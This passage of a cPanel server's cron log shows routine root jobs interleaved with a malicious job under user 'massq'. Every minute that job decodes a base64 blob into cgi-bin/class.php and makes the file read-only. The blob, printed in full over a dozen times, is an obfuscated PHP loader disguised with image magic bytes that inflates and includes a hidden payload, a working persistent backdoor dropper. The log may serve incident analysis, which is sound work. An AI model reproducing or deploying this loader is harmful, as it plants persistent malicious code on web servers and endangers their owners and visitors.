QtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:57:01 server CROND[17414]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 19:58:01 server CROND[17490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 19:59:01 server CROND[17551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:00:01 server CROND[17647]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr  7 20:00:01 server CROND[17646]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 20:00:01 server CROND[17650]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 20:00:01 server CROND[17652]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:00:01 server CROND[17651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 20:01:01 server CROND[17829]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 20:01:01 server CROND[17830]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:01:01 server run-parts(/etc/cron.hourly)[17829]: starting 0anacron
Apr  7 20:01:01 server run-parts(/etc/cron.hourly)[17842]: finished 0anacron
Apr  7 20:02:01 server CROND[17898]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:03:01 server CROND[18009]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:04:01 server CROND[18064]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:05:01 server CROND[18133]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  7 20:05:01 server CROND[18135]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 20:05:01 server CROND[18134]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 20:05:01 server CROND[18138]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 20:05:01 server CROND[18139]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:06:01 server CROND[18350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:07:01 server CROND[18406]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:08:01 server CROND[18453]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:09:01 server CROND[18511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:09:01 server CROND[18512]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  7 20:10:01 server CROND[18575]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:10:01 server CROND[18576]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 20:10:01 server CROND[18577]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 20:10:01 server CROND[18578]: (root) CMD (/usr/lib64/sa/sa1 1 1)
